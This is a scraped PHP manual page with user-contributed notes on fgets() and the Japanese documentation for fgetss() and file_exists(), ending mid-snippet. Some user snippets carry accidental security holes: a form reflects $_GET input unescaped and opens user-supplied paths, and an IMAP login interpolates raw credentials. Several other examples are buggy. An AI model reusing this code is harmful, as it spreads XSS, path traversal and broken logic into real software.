(i had a ~16GB string in-memory i needed to process line-by-line, but i would get memory-allocation-crash (on a 32GB ram system) if i tried explode("\n",$str); , so came up with this.. interestingly, fgets() seems to be faster than doing it in-ram-in-php, though. php 7.3.7)
zsjpxah 03-Sep-2019 11:29
It's strange no one mentions "0" in this context.

Since "0" is considered to be false, a line with a single "0" can be treated as EOF if using the while assign idiom.

while ($line = fgets(STDIN, 2)) {
}

This may surprisingly break if a line starts with ")"
Anonymous 16-Mar-2018 04:57
<form>
<input type='text' name='filepath' value='<?php echo ((isset($_GET["filepath"])) ? $_GET["filepath"] : "");?>'>
<br>
<select name='sel'>
    <option value='var1' <?php echo ((isset($_GET["sel"]) && $_GET["sel"] == "var1") ? "selected=true" : "");?>> For Year</option>
    <option value='var2' <?php echo ((isset($_GET["sel"]) && $_GET["sel"] == "var2") ? "selected=true" : "");?>>Name</option>
    <option value='var3' <?php echo ((isset($_GET["sel"]) && $_GET["sel"] == "var3") ? "selected=true" : "");?>>Name&Year</option>
</select>
<br>
<input type='submit' value='Button'>

</form>

<?php

if((!isset($_GET['filepath']) || !file_exists($_GET['filepath'])) || !isset($_GET['sel']))
    exit("");

echo "List<br>";
$fullPath = "D:\\OSPanel\\domains\\" . $_GET["filepath"];
$f = fopen($fullPath, "r");
$arr;
for($i = 0; $str = fgets($f); $i++){
    $tempArr0 = explode('-', $str);
    $arr[$i][0] = trim($tempArr0[0]);
    $arr[$i][1] = trim($tempArr0[1]);
}

if($_GET["sel"] == "var1"){
    sort($arr);
    echo "<p>";
    for($i = 0; $i < count($arr); $i++)
        echo "<i>{$arr[$i][0]}</i>; ";
    echo "</p>";
}
else if($_GET["sel"] == "var2"){
    for($i = 0; $i < count($arr); $i++)
        echo "<p><b>{$arr[$i][1]}</b></p>";
}
else if($_GET["sel"] == "var3"){
    for($i = 0; $i < count($arr); $i++)
        echo "<p><b>{$arr[$i][1]}</b>: <i>{$arr[$i][0]}</i></p>";
}

?>
Carlo 25-Feb-2018 10:16
Error in the example number 1 of this page.

change this line:
    $buffer = fgets($fd, 4096);
into:
    $buffer = fgets($handle, 4096);
bobo 06-Dec-2016 05:56
One easy sample, how to use "fgets":
This sample shows how to read the Information from an .txt file:

<?php
$z=fopen("protocol.txt","r");                       //r = read
if($pointer!=false)                                    //Is it possible to open the File?!
{
  //Repeats all Information from protocol.txt
  while(!feof($pointer))                              //the loop runs till the Pointer is at the End of the File
  {
    $row = fgets($pointer);                            // $row reads the Information from the row of the File
    echo "<p>".$row."</p>";
  }
  fclose($pointer);                                    //File must be closed
}
else
{
  echo"<p> It was not possible to open the File!</p>";
}
?>
bogdan at insightmed dot eu 01-Jul-2016 09:11
Even if  this is not really related to PHP and its internals take care when using fgets for reading input from CLI on Linux systems as it may behave unexpected because of the limitations of arguments length on these systems. For example doing rtrim(fgets(STDIN), "\n") on a user input larger than 4095 characters will cut the the input string to 4095 characters. This shortcoming can be solved using "stty -icanon" before the script run, followed by a "stty icanon" after the script is run.
bfb1985 at yahoo dot es 28-Jan-2016 11:59
I had loads of trouble while reading with fgets on a WAMP (Windows server). On local the file went unto a <pre> tag without a hitch, but when I moved the code to a LAMP production server, every \r\n created two fgets and I got free empty lines.

I tried deleting with $string=str_replace("\r\n","\n",$string); but it had no effect whatsoever. The solution was to do an fread() and explode the contents by PHP_EOL and do a foreach($lines as $line) so every line did not get duplicated.

Here is the example code:

$file=fopen("test.txt,"r");
$text=fread($file,filesize("test.txt"));
$lines=explode(PHP_EOL,$text);
foreach($lines as $line)
  {
  // Do something
  }
alex at alex-at dot ru 03-Nov-2015 10:28
For anyone who wants a proper non-blocking fgets for sockets, there is a tiny snippet that does just that (performance should be horrible compared to fgets though):

<?php
function read_line_nb($handle)
{
    static $buffer = '';
    static $lastOffset = 0;

    $buffer .= fread($handle, 0x1000);
    if (preg_match('#\\R#', $buffer, $m, PREG_OFFSET_CAPTURE, $lastOffset)) {
        $line = substr($buffer, 0, $m[0][1] + strlen($m[0][0]));
        $buffer = substr($buffer, $m[0][1] + strlen($m[0][0]));
        return $line;
    }
    $lastOffset = strlen($buffer);
    return false;
}
?>
Leigh Purdie 08-Apr-2015 03:03
A better example, to illustrate the differences in speed for large files, between fgets and stream_get_line.

This example simulates situations where you are reading potentially very long lines, of an uncertain length (but with a maximum buffer size), from an input source.

As Dade pointed out, the previous example I provided was much to easy to pick apart, and did not adequately highlight the issue I was trying to address.

Note that specifying a definitive end-character for fgets (ie: newline), generally decreases the speed difference reasonably significantly.

#!/usr/bin/php
<?php
        $plaintext=file_get_contents('http://loripsum.net/api/60/verylong/plaintext');  # Should be around 90k characters
        $plaintext=str_replace("\n"," ",$plaintext); # Get rid of newlines

        $fp=fopen("/tmp/SourceFile.txt","w");
        for($i=0;$i<100000;$i++) {
                fputs($fp,substr($plaintext,0,rand(4096,65534)) . "\n");
        }
        fclose($fp);

        $fp=fopen("/tmp/SourceFile.txt","r");
        $start=microtime(true);
        while($line=fgets($fp,65535)) {
                1;
        }
        $end=microtime(true);
        fclose($fp);
        $delta1=($end - $start);

        $fp=fopen("/tmp/SourceFile.txt","r");
        $start=microtime(true);
        while($line=stream_get_line($fp,65535)) {
                1;
        }
        $end=microtime(true);
        fclose($fp);
        $delta2=($end - $start);

        $pdiff=$delta1/$delta2;
        print "stream_get_line is " . ($pdiff>1?"faster":"slower") . " than fgets - pdiff is $pdiff\n";
?>

$ ./testcase.php
stream_get_line is faster than fgets - pdiff is 1.760398041785

Note that, in a vast majority of situations in which php is employed, tiny differences in speed between system calls are of negligible importance.
wojons 29-Jan-2014 11:32
This goes out to Leigh Purdie (5 years ago) and also Dade Brandon (4 months ago)

So i say Leigh posting and though omg i need to change all my fgets to stream_get_line. Then i ran the tests as shown in Leigh Purdie comment His results:

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=stream_get_line($fp,65535,"\n")) { 1; } fclose($fp);'

real    0m1.482s
user    0m1.616s
sys    0m0.152s

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=fgets($fp,65535)) { 1; } fclose($fp);'

real    0m7.281s
user    0m7.392s
sys    0m0.136s

My Results:

$  time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=stream_get_line($fp,65535,"\n")) { 1; } fclose($fp);'

real    0m0.341s
user    0m0.352s
sys    0m0.148s

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=fgets($fp,65535)) { 1; } fclose($fp);'

real    0m4.283s
user    0m4.128s
sys    0m0.448s

My results do show the same issue his results show. But first off PHP has at least gotten about 2-5 times faster then when the tests were first run (or better hardware).

Now to relate to Dade Brandon who states if you use a correct buffer size the perfomance is neck and neck.

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=stream_get_line($fp,21,"\n")) { 1; } fclose($fp);'

real    0m0.336s
user    0m0.412s
sys    0m0.076s

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=fgets($fp,21)) { 1; } fclose($fp);'

real    0m0.312s
user    0m0.364s
sys    0m0.192s

As you can see very close and fgets just coming just a little bit ahead. I suspect that fgets is reading backwards on the buffer or loads everything into its self then trys to figure it out where as a correct set buffer does the trick. Dade Brandon states that fgets lets you know how the line was delimited. stream_get_line lets you choose what you wanna call the delimiter using its 3rd option.

fgets has one more option that is important, you dont have to set the length of the line. So in a case where you may not know the length of the line maybe in handling Http protocol or something else like log lines you can simply leave it off and still get great performance.

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=fgets($fp)) { 1; } fclose($fp);'

real    0m0.261s
user    0m0.260s
sys    0m0.232s

This is better then with a buffer set.
Anonymous 29-Jan-2014 11:31
This goes out to Leigh Purdie (5 years ago) and also Dade Brandon (4 months ago)

So i say Leigh posting and though omg i need to change all my fgets to stream_get_line. Then i ran the tests as shown in Leigh Purdie comment His results:

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=stream_get_line($fp,65535,"\n")) { 1; } fclose($fp);'

real    0m1.482s
user    0m1.616s
sys    0m0.152s

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=fgets($fp,65535)) { 1; } fclose($fp);'

real    0m7.281s
user    0m7.392s
sys    0m0.136s

My Results:

$  time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=stream_get_line($fp,65535,"\n")) { 1; } fclose($fp);'

real    0m0.341s
user    0m0.352s
sys    0m0.148s

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=fgets($fp,65535)) { 1; } fclose($fp);'

real    0m4.283s
user    0m4.128s
sys    0m0.448s

My results do show the same issue his results show. But first off PHP has at least gotten about 2-5 times faster then when the tests were first run (or better hardware).

Now to relate to Dade Brandon who states if you use a correct buffer size the perfomance is neck and neck.

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=stream_get_line($fp,21,"\n")) { 1; } fclose($fp);'

real    0m0.336s
user    0m0.412s
sys    0m0.076s

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=fgets($fp,21)) { 1; } fclose($fp);'

real    0m0.312s
user    0m0.364s
sys    0m0.192s

As you can see very close and fgets just coming just a little bit ahead. I suspect that fgets is reading backwards on the buffer or loads everything into its self then trys to figure it out where as a correct set buffer does the trick. Dade Brandon states that fgets lets you know how the line was delimited. stream_get_line lets you choose what you wanna call the delimiter using its 3rd option.

fgets has one more option that is important, you dont have to set the length of the line. So in a case where you may not know the length of the line maybe in handling Http protocol or something else like log lines you can simply leave it off and still get great performance.

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=fgets($fp)) { 1; } fclose($fp);'

real    0m0.261s
user    0m0.260s
sys    0m0.232s

This is better then with a buffer set.
Dade Brandon 31-Aug-2013 12:33
Regarding Leigh Purdie's comment (from 4 years ago) about stream_get_line being better for large files, I decided to test this in case it was optimized since then and I found out that Leigh's comment is just completely incorrect

fgets actually has a small amount of better performance, but the test Leigh did was not set up to produce good results

The suggested test was:

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=stream_get_line($fp,65535,"\n")) { 1; } fclose($fp);'

0m1.616s

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=fgets($fp,65535)) { 1; } fclose($fp);'

0m7.392s

The reason this is invalid is because the buffer size of 65535 is completely unnecessary

piping the output of "yes 'this is a test line'" in to PHP makes each line 19 characters plus the delimiter

so while I don't know why stream_get_line performs better with an oversize buffer, if both buffer sizes are correct, or default, they have a negligable performance difference - although notably, stream_get_line is consistent - however if you're thinking of switching, make sure to be aware of the difference between the two functions, that stream_get_line does NOT append the delimiter, and fgets DOES append the delimiter

Here are the results on one of my servers:

Buffer size 65535
stream_get_line:    0.340s
fgets:   2.392s

Buffer size of 1024
stream_get_line:  0m0.348s
fgets: 0.404s

Buffer size of 8192 (the default for both)
stream_get_line: 0.348s
fgets:  0.552s

Buffer size of 100:
stream_get_line: 0.332s
fgets: 0.368s
apardo at NOSPAM dot gmail dot com 17-May-2012 04:03
This is a a simple function to detect end of line type for any file.

<?php
function detectEndOfLine($file)
{
    $handle = @fopen($file, "r");
    if ($handle)
    {
        $char=0;
        while (!$eol || feof($handle))
        {
            $char++;
            $line = fgets($handle, $char);
            $eol = preg_match("/(\r)+/", $line)? "W" : "";
            if(!$eol) $eol = preg_match("/(\n)+/", $line)? "L" : "";
        }
        return $eol;
        fclose($handle);
    }
}
?>
dan at censornet dot com 25-Apr-2012 12:42
WARNING! fgets() and I presume any read() call to a file handle, e.g.

  while(!feof(STDIN)) {
    $line = fgets(STDIN);

    ...do something useful with $line...
  }

...will result in a timeout after a default time of 60 seconds on my install. This behavior is non standard (not POSIX like) and seems to me to be a bug, or if not a major caveat which should be documented more clearly.

After the timeout fgets() will return FALSE (=== FALSE), however, you can check to see if the stream (file handle) has really closed by checking feof($stream), e.g.

  while(!feof(STDIN)) {
    $line = fgets(STDIN);

    if($line === FALSE) {
      if(feof(STDIN)) {
        break;
      }
      continue;
    }

    ...do something useful with $line...
  }
hgs at cs dot columbia dot edu 20-Jan-2011 04:42
There seems to be an interaction between sockets and the auto_detect_line_endings setting that can cause rather peculiar behavior. Apparently, if the first line read from a socket is split across two TCP packets, the detector will look at the first TCP packet and determine that the system uses MacOS (\r) line endings, even though the LF is contained in the next packet. For example, this affected the PEAR Net_SMTP package, which would fail mysteriously for only some email servers.
lzsiga at freemail.c3.hu 04-Jun-2010 11:32
Some people try to call feof before fgets, and then ignoring the return value of fgets. This method leads to processing value FALSE when reaching the end of file.

Bad example:
<?php
    $f = fopen ("fgetstest.php", "r");
    $ln= 0;
    while (! feof ($f)) {
        $line= fgets ($f);
        ++$ln;
        printf ("%2d: ", $ln);
        if ($line===FALSE) print ("FALSE\n");
        else print ($line);
    }
    fclose ($f);
?>

Good example:
<?php
    $f = fopen ("fgetstest.php", "r");
    $ln= 0;
    while ($line= fgets ($f)) {
        ++$ln;
        printf ("%2d: ", $ln);
        if ($line===FALSE) print ("FALSE\n");
        else print ($line);
    }
    fclose ($f);
?>
afwxkat at gmail dot com 22-Jul-2009 05:07
One thing I discovered with fgets, at least with PHP 5.1.6, is that you may have to use an IF statement to avoid your code running rampant (and possibly hanging the server).  This can cause problems if you do not have root access on the server on which you are working.

This is the code I have implemented ($F1 is an array):

<?php
   if($fh = fopen("filename","r")){
      while (!feof($fh)){
         $F1[] = fgets($fh,9999);
      }
      fclose($fh);
    }
?>

I have noticed that without the IF statement, fgets seems to ignore when $fh is undefined (i.e., "filename" does not exist).  If that happens, it will keep attempting to read from a nonexistent filehandle until the process can be administratively killed or the server hangs, whichever comes first.
Leigh Purdie 12-Oct-2008 11:14
For large files, consider using stream_get_line rather than fgets - it can make a significant difference.

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=stream_get_line($fp,65535,"\n")) { 1; } fclose($fp);'

real    0m1.482s
user    0m1.616s
sys    0m0.152s

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=fgets($fp,65535)) { 1; } fclose($fp);'

real    0m7.281s
user    0m7.392s
sys    0m0.136s
jerem-NoSpam-ified at live dot com 17-Apr-2008 08:22
It's worth noting that this function only assumes chr(10) as a line break, but not chr(13). Personally, I prefer using chr(13) as a line break.
Daniel Klein 25-Jan-2008 08:47
The file pointer that fgets() uses can also be created with the proc_open() function and used with the stdout pipe created from the executed process.
david_sitller at blackbit dot de 24-Oct-2007 05:32
If you use the example from the command-description, i recommend to trim the $buffer for further use. The line feed ist still at the end of the line. I saw this when using PHP CLI.

Like this, checking a file-list for existing entries:

$handle = fopen ("/tmp/files.txt", "r");
while (!feof($handle)) {
    $buffer = fgets($handle, 4096);
    if (file_exists(rtrim($filename,"\n"))) {
        echo $buffer;
    } else {
        echo $buffer." has been removed."
}
fclose ($handle);
anacreo has gmail 18-Sep-2007 02:15
I'm using this function to modify the header of a large postscript document on copy...  Works extremely quickly so far...

function write($filename) {
     $fh = fopen($this->sourceps,'r');
     $fw = fopen($filename,'w');

     while (!feof($fh)) {
       $buffer = fgets($fh);
       fwrite($fw,$buffer);
       if (!$setupfound && ereg("^%%BeginSetup",$buffer)) {
         $setupfound++;
         if (array_key_exists("$filename",$this->output)) {
           foreach ($this->output[$filename] as $function => $value) {
             fwrite($fw,$value);
           }
         }
         stream_copy_to_stream($fh,$fw);
       }
     }
     fclose($fw);
     fclose($fh);
   }
Peter Schlaile 21-Aug-2007 11:36
fscanf($file, "%s\n") isn't really a good substitution for fgets(), since it will stop parsing at the first whitespace and not at the end of line!

(See the fscanf page for details on this)
David at Weintraub.name 10-Jul-2007 02:23
There's an error in the documentation:

The file pointer must be valid, and must point to a file successfully opened by fopen() or fsockopen() (and not yet closed by fclose()).

You should also add "popen" and "pclose" to the documentation. I'm a new PHP developer and went to verify that I could use "fgets" on commands that I used with "popen".
d at foo.com 13-Aug-2006 01:03
For sockets, If you dont want fgets, fgetc etc... to block if theres no data there. set socket_set_blocking(handle,false); and socket_set_blocking(handle,true); to set it back again.
svayn at yahoo dot com 14-Jul-2006 02:21
fgets is SLOW for scanning through large files. If you don't have PHP 5, use fscanf($file, "%s\n") instead.
sam dot bryan at montal dot com 23-May-2006 02:09
An easy way to authenticate Windows Domain users from scripts running on a non-Windows or non-Domain box - pass the submitted username and password to an IMAP service on a Windows machine.

<?php
$server = 'imapserver';
$user = 'user';
$pass = 'pass';

if (authIMAP($user, $pass, $server)) {
    echo "yay";
} else {
    echo "nay";
}

function authIMAP($user, $pass, $server) {
    $connection = fsockopen($server, 143, $errno, $errstr, 30);

    if(!$connection) return false;

    $output = fgets($connection, 128); // banner
    fputs($connection, "1 login $user $pass\r\n");
    $output = fgets($connection, 128);
    fputs($connection, "2 logout\r\n");
    fclose($connection);

    if (substr($output, 0, 4) == '1 OK') return true;

    return false;
}
?>
24-Mar-2006 09:36
Macintosh line endings mentioned in docs refer to Mac OS Classic. You don't need this setting for interoperability with unixish OS X.
tavernadelleidee[italy] 09-Mar-2006 03:44
I think that the quickest way of read a (long) file with the rows in  reverse order is

<?php
$myfile = 'myfile.txt';
$command = "tac $myfile > /tmp/myfilereversed.txt";
passthru($command);
$ic = 0;
$ic_max = 100;  // stops after this number of rows
$handle = fopen("/tmp/myfilereversed.txt", "r");
while (!feof($handle) && ++$ic<=$ic_max) {
   $buffer = fgets($handle, 4096);
   echo $buffer."<br>";
}
fclose($handle);
?>

It echos the rows while it is reading the file so it is good for long files like logs.

Borgonovo
ecvej 04-Jan-2006 01:20
I would have expected the same behaviour from these bits of code:-

<?php

/*This times out correctly*/
while (!feof($fp)) {
    echo fgets($fp);
}

/*This times out before eof*/
while ($line=fgets($fp)) {
    echo $line;
}

/*A reasonable fix is to set a long timeout*/
stream_set_timeout($fp, 180);
while ($line=fgets($fp)) {
    echo $line;
}
?>
hackajar <matt> yahoo <trot> com 05-Dec-2005 12:17
When working with VERY large files, php tends to fall over sideways and die.

Here is a neat way to pull chunks out of a file very fast and won't stop in mid line, but rater at end of last known line.  It pulled a 30+ million line 900meg file through in ~ 24 seconds.

NOTE:
$buf just hold current chunk of data to work with.  If you try "$buf .=" (note 'dot' in from of '=') to append $buff, script will come to grinding crawl around 100megs of data, so work with current data then move on!

//File to be opened
$file = "huge.file";
//Open file (DON'T USE a+ pointer will be wrong!)
$fp = fopen($file, 'r');
//Read 16meg chunks
$read = 16777216;
//\n Marker
$part = 0;

while(!feof($fp)) {
    $rbuf = fread($fp, $read);
    for($i=$read;$i > 0 || $n == chr(10);$i--) {
        $n=substr($rbuf, $i, 1);
        if($n == chr(10))break;
        //If we are at the end of the file, just grab the rest and stop loop
        elseif(feof($fp)) {
            $i = $read;
            $buf = substr($rbuf, 0, $i+1);
            break;
        }
    }
    //This is the buffer we want to do stuff with, maybe thow to a function?
    $buf = substr($rbuf, 0, $i+1);
    //Point marker back to last \n point
    $part = ftell($fp)-($read-($i+1));
    fseek($fp, $part);
}
fclose($fp);
kpeters AT-AT monolithss DEE OH TEE com 01-Dec-2005 05:51
It appears that fgets() will return FALSE on EOF (before feof has a chance to read it), so this code will throw an exception:

while (!feof($fh)) {
  $line = fgets($fh);
  if ($line === false) {
    throw new Exception("File read error");
  }
}
dandrews OVER AT 3dohio DOT com 07-Jan-2005 11:11
Saku's example may also be used like this:

<?php
 @ $pointer = fopen("$DOCUMENT_ROOT/foo.txt", "r"); // the @ suppresses errors so you have to test the pointer for existence
   if ($pointer) {
     while (!feof($pointer)) {
         $preTEXT = fgets($pointer, 999);
         // $TEXT .= $preTEXT;  this is better for a string
        $ATEXT[$I] = $preTEXT;  // maybe better as an array
        $I++;
     }
     fclose($pointer);
   }
?>
angelo [at] mandato <dot> com 19-Nov-2004 06:43
Sometimes the strings you want to read from a file are not separated by an end of line character.  the C style getline() function solves this.  Here is my version:
<?php
function getline( $fp, $delim )
{
    $result = "";
    while( !feof( $fp ) )
    {
        $tmp = fgetc( $fp );
        if( $tmp == $delim )
            return $result;
        $result .= $tmp;
    }
    return $result;
}

// Example:
$fp = fopen("/path/to/file.ext", 'r');
while( !feof($fp) )
{
    $str = getline($fp, '|');
    // Do something with $str
}
fclose($fp);
?>
lelkesa 04-Nov-2004 02:54
Note that - afaik - fgets reads a line until it reaches a line feed (\\n). Carriage returns (\\r) aren't processed as line endings.
However, nl2br insterts a <br /> tag before carriage returns as well.
This is useful (but not nice - I must admit) when you want to store a more lines in one.
<?php
function write_lines($text) {
  $file = fopen('data.txt', 'a');
  fwrite($file, str_replace("\n", ' ', $text)."\n");
  fclose($file);
}

function read_all() {
  $file = fopen('data.txt', 'r');
  while (!feof($file)) {
    $line = fgets($file);
    echo '<u>Section</u><p>nl2br'.($line).'</p>';
  }
  fclose($file);
}
?>

Try it.
05-Sep-2004 03:05
If you need to simulate an un-buffered fgets so that stdin doesnt hang there waiting for some input (i.e. it reads only if there is data available) use this :
<?php

    function fgets_u($pStdn) {

            $pArr = array($pStdn);

        if (false === ($num_changed_streams = stream_select($pArr, $write = NULL, $except = NULL, 0))) {
            print("\$ 001 Socket Error : UNABLE TO WATCH STDIN.\n");
            return FALSE;
        } elseif ($num_changed_streams > 0) {
                return trim(fgets($pStdn, 1024));
        }

    }

?>
timr 16-Jun-2004 07:13
If you need to read an entire file into a string, use file_get_contents().  fgets() is most useful when you need to process the lines of a file separately.
Pete 22-Feb-2004 04:35
If you have troubles reading binary data with versions <= 4.3.2 then upgrade to 4.3.3
The binary safe implementation seems to have had bugs which were fixed in 4.3.3


ファイルポインタから 1 行取り出し、HTML タグを取り除く

  • ≪ fgets
  • file_exists ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイルポインタから 1 行取り出し、HTML タグを取り除く

fgetss

(PHP 4, PHP 5, PHP 7)

fgetss — ファイルポインタから 1 行取り出し、HTML タグを取り除く

警告

この関数は PHP 7.3.0 で 非推奨 になり、PHP 8.0.0 で 削除 されました。この関数に頼らないことを強く推奨します。

説明

fgetss ( resource $handle , int $length = ? , string $allowable_tags = ? ) : string

fgets() と同じですが、 fgetss() は読み込んだテキストから NUL バイト や HTML および PHP のタグを取り除こうとすることが異なります。 この関数は、ある呼び出しから別の呼び出しの間のパースの状態を保持します。 したがって、これは fgets() の戻り値に対して strip_tags() 関数を呼び出すのと同じではありません。

パラメータ

handle

ファイルポインタは、有効なファイルポインタである必要があり、 fopen() または fsockopen() で正常にオープンされた （そしてまだ fclose() でクローズされていない） ファイルを指している必要があります。

length

取得したいデータの長さ。

allowable_tags

オプションの 3 番目の引数を使用して、 取り除く必要がないタグを指定することができます。 allowable_tags について詳しくは strip_tags() を参照ください。

返り値

handle で指定したファイルポインタから最大 length - 1 バイト読み出し、 HTML や PHP コードを取り除いた文字列を返します。

エラーが発生した場合は false を返します。

例

例1 PHP ファイルの 1 行ごとの読み込み

<?php
$str = <<<EOD
<html><body>
 <p>Welcome! Today is the <?php echo(date('jS')); ?> of <?= date('F'); ?>.</p>
</body></html>
Text outside of the HTML block.
EOD;
file_put_contents('sample.php', $str);

$handle = @fopen("sample.php", "r");
if ($handle) {
    while (!feof($handle)) {
        $buffer = fgetss($handle, 4096);
        echo $buffer;
    }
    fclose($handle);
}
?>

上の例の出力は、 たとえば以下のようになります。

 Welcome! Today is the  of .

Text outside of the HTML block.

注意

注意: マッキントッシュコンピュータ上で作成されたファイルを読み込む際に、 PHP が行末を認識できないという問題が発生した場合、 実行時の設定オプションauto_detect_line_endings を有効にする必要が生じるかもしれません。

参考

  • fgets() - ファイルポインタから 1 行取得する
  • fopen() - ファイルまたは URL をオープンする
  • popen() - プロセスへのファイルポインタをオープンする
  • fsockopen() - インターネット接続もしくは Unix ドメインソケット接続をオープンする
  • strip_tags() - 文字列から HTML および PHP タグを取り除く
  • SplFileObject::fgetss() - ファイルから 1 行取り出し HTML タグを取り除く
  • The string.strip_tags filter

User Contributed Notes

There are no user contributed notes for this page.


ファイルまたはディレクトリが存在するかどうか調べる

  • ≪ fgetss
  • file_get_contents ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイルまたはディレクトリが存在するかどうか調べる

file_exists

(PHP 4, PHP 5, PHP 7, PHP 8)

file_exists — ファイルまたはディレクトリが存在するかどうか調べる

説明

file_exists ( string $filename ) : bool

ファイルあるいはディレクトリが存在するかどうかを調べます。

パラメータ

filename

ファイルあるいはディレクトリへのパス。

Windows 上でネットワーク共有上のファイルを調べるには、 //computername/share/filename または \\computername\share\filename のように指定してください。

返り値

filename で指定したファイルまたはディレクトリが存在すれば true を返し、そうでなければ false を返します。

注意:

この関数は、シンボリックリンクの指す先のファイルが存在しない場合は false を返します。

注意:

チェックは、実効ユーザーではなく実ユーザーの UID/GID で行います。

注意: PHP の数値型は符号付整数であり、 多くのプラットフォームでは 32 ビットの整数を取るため、 ファイルシステム関数の中には 2GB より大きなファイルについては期待とは違う値を返すものがあります。

例

例1 あるファイルが存在するかどうか調べる

<?php
$filename = '/path/to/foo.txt';

if (file_exists($filename)) {
    echo "$filename が存在します";
} else {
    echo "$filename は存在しません";
}
?>

エラー / 例外

失敗したときは E_WARNING が発生します。

注意

注意: この関数の結果は キャッシュされます。詳細は、clearstatcache() を参照してください。

ヒント

PHP 5.0.0 以降、この関数は、 何らかの URL ラッパーと組合せて使用することができます。 どのラッパーが stat() ファミリーをサポートしているかを調べるには サポートするプロトコル/ラッパー を参照してください。

参考

  • is_readable() - ファイルが存在し、読み込み可能であるかどうかを知る
  • is_writable() - ファイルが書き込み可能かどうかを調べる
  • is_file() - 通常ファイルかどうかを調べる
  • file() - ファイル全体を読み込んで配列に格納する
  • SplFileInfo

User Contributed Notes

varrg 29-Aug-2019 09:55
file_exists() is vulnerable to race conditions and clearstatcache() is not adequate to avoid it.

The following function is a good solution:

<?php
function file_exists_safe($file) {
    if (!$fd = fopen($file, 'xb')) {
        return true;  // the file already exists
    }
    fclose($fd);  // the file is now created, we don't need the file handler
    return false;
}
?>

The function will create a file if non-existent, following calls will fail because the file exists (in effect being a lock).

IMPORTANT: The file will remain on the disk if it was successfully created and you must clean up after you, f.ex. remove it or overwrite it. This step is purposely omitted from the function as to let scripts do calculations all the while being sure the file won't be "seized" by another process.

NOTE: This method fails if the above function is not used for checking in all other scripts/processes as it doesn't actually lock the file.
FIX: You could flock() the file to prevent that (although all other scripts similarly must check it with flock() then, see https://www.php.net/manual/en/function.flock.php). Be sure to unlock and fclose() the file AFTER you're done with it, and not within the above function:

<?php
function create_and_lock($file) {
    if (!$fd = fopen($file, 'xb')) {
        return false;
    }
    if (!flock($fd, LOCK_EX|LOCK_NB)) {  // may fail for other reasons, LOCK_NB will prevent blocking
        fclose($fd);
        unlink($file);  // clean up
        return false;
    }
    return $fd;
}

if ($lock = create_and_lock("foo.txt")) {
    // do stuff
    flock($fd, LOCK_UN);  // unlock
    fclose($fd);  // close
}
?>

SEE ALSO: https://linux.die.net/man/2/open about O_CREAT|O_EXCL (which is used with the 'x' modifier for fopen()) and problems with NFS
jag 24-May-2019 11:00
file_exists() does NOT search the php include_path for your file, so don't use it before trying to include or require.

use

    @$result = include $filename;

Yes, include does return false when the file can't be found, but it does also generate a warning. That's why you need the @. Don't try to get around the warning issue by using file_exists(). That will leave you scratching your head until you figure out or stumble across the fact that file_exists() DOESN'T SEARCH THE PHP INCLUDE_PATH.
vcoletti at tiscali dot it 26-Jul-2017 10:35
With PHP 7.0 on Ubuntu 17.04 and with the option allow_url_fopen=On, file_exists() returns always false when trying to check a remote file via HTTP.

So
        $url="http://www.somewhere.org/index.htm";
        if (file_exists($url)) echo "Wow!\n";
        else echo "missing\n";

returns always "missing", even for an existing URL.

I found that in the same situation the file() function can read the remote file, so I changed my routine in

        $url="http://www.somewhere.org/index.htm";
        if (false!==file($url)) echo "Wow!\n";
        else echo "missing\n";

This is clearly a bit slower, especially if the remote file is big, but it solves this little problem.
ziptwipi at goioia dot com 17-Aug-2016 05:44
Note that realpath() will return false if the file doesn't exist. So if you're going to absolutize the path and resolve symlinks anyway, you can just check the return value from realpath() instead of calling file_exists() first
broken at links dot com 14-May-2014 12:29
file_exists() will return FALSE for broken links

$ ln -s does_not_exist my_link
$ ls -l
lrwxr-xr-x   1 user  group    14 May 13 17:28 my_link -> does_not_exist
$ php -r "var_dump(file_exists('my_link'));"
bool(false)
welkom at remconijhuis dot nl 30-Dec-2013 11:10
I needed to measure performance for a project, so I did a simple test with one million file_exists() and is_file() checks. In one scenario, only seven of the files existed. In the second, all files existed. is_file() needed 3.0 for scenario one and 3.3 seconds for scenario two.  file_exists() needed 2.8 and 2.9 seconds, respectively. The absolute numbers are off course system-dependant, but it clearly indicates that file_exists() is faster.
DeyV at poczta dot php dot pl 13-Jan-2012 04:47
Great alternative to file_exists() is stream_resolve_include_path()
spark at limao dot com dot br 13-Apr-2011 07:26
this code here is in case you want to check if a file exists in another server:

<?php
function fileExists($path){
    return (@fopen($path,"r")==true);
}
?>

unfortunately the file_exists can't reach remote servers, so I used the fopen function.
ferodano at gmail dot com 16-Sep-2009 01:54
You could use document root to be on the safer side because the function does not take relative paths:

<?php
if( file_exists( $_SERVER{'DOCUMENT_ROOT'} . "/my_images/abc.jpg"))  {
   ...
}
?>

Do not forget to put the slash '/', e.g. my doc root in Ubuntu is /var/www without the slash.
pgl at yoyo dot org 31-Jul-2009 07:03
Note that this will return false for streams, eg, php://stdin.
fabin dot gnu at gmail dot com 31-Jan-2009 01:03
The code can be used to t a filename that can be used to create a new filename.

<?php
